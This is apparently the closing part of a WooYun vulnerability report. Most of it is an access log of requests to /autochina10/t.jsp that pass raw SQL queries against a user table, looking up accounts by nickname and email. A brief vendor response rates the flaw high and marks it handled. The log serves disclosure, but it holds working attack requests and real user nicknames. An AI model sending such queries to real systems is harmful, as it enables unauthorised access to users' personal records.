17:23:00.434 121.78.118.207#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22trijif%22
17:24:00.547 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:24:31.311 121.78.118.207#25#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22alexsuha%22
17:24:51.837 121.78.118.207#20#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22myxjj%22
17:25:18.702 121.78.118.207#21#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22firend%22
17:25:37.391 121.78.118.207#20#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22thaler571%22
17:26:25.121 121.78.118.207#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E4%B8%80%E5%8F%AA%E5%B0%8F%E9%87%8E%E7%8B%BC%22
17:26:26.696 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E4%B8%80%E5%8F%AA%E5%B0%8F%E9%87%8E%E7%8B%BC%22
17:26:44.806 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22flexih%22
17:28:24.927 121.78.118.207#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22aiter%22
17:29:06.515 121.78.118.207#25#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22zengxiao29%22
17:29:42.593 121.78.118.207#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E5%8F%A4%E6%B0%B8%E9%94%B5%22
17:30:34.399 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22fengyexia%22
17:30:47.204 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22victoria_hong%22
17:31:22.608 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%[email protected]%22
17:31:29.153 121.78.118.207#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%[email protected]%22
17:31:43.657 121.78.118.207#32#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:31:57.548 121.78.118.207#26#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:32:11.779 121.78.118.207#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:36:26.872 121.78.118.207#32#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22david%22
17:36:48.063 121.78.118.207#17#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22coledodo%22
17:37:06.631 121.78.118.207#23#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E5%BF%AB%E4%B9%90%E4%BC%98%E8%B1%86%22
17:37:26.932 121.78.118.207#22#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E6%9C%88%E6%BB%A1%E8%A5%BF%E6%A5%BC%22
17:37:51.647 121.78.118.207#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:38:24.291 121.78.118.207#22#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22henrybit%22
17:38:56.284 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:39:05.997 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E8%89%B3%E8%89%B3yyy%22
17:39:12.661 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:39:16.105 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:39:59.062 121.78.118.207#28#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:40:11.284 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E5%86%AC%E9%B1%BC%E5%A4%8F%E8%8A%B1%22
17:40:20.726 121.78.118.207#17#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:40:33.539 121.78.118.207#43#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22haowsq%22
17:41:40.488 121.78.118.207#17#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:42:02.094 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22copybaby%22
17:42:10.413 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:42:22.127 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:42:30.522 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:42:39.432 121.78.118.207#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22bovzou%22
17:42:52.440 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:43:13.048 121.78.118.207#22#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:44:34.345 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:45:25.534 121.78.118.207#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:45:38.242 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:45:48.254 121.78.118.207#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:46:00.840 121.78.118.207#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22calmhawk%22
17:46:03.503 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22calmhawk%22
17:46:15.481 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:46:21.842 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:46:31.314 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:46:38.357 121.78.118.207#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:46:47.956 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%27%22
17:47:03.678 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:47:09.753 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:47:31.396 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:47:39.209 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:47:47.927 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:47:55.022 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:48:03.248 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:48:11.731 121.78.118.207#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:48:26.715 121.78.118.207#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:48:37.510 121.78.118.207#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:48:46.510 121.78.118.207#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:50:17.109 121.78.118.207#25#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:50:24.882 121.78.118.207#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:50:35.122 121.78.118.207#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:50:42.510 121.78.118.207#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:50:49.797 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:50:57.191 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:51:03.012 121.78.118.207#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:51:12.247 121.78.118.207#12#/

修复方案：

你们看怎么办

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2014-12-14 00:53

厂商回复：

合作项目，已处理，多谢。

最新状态：

暂无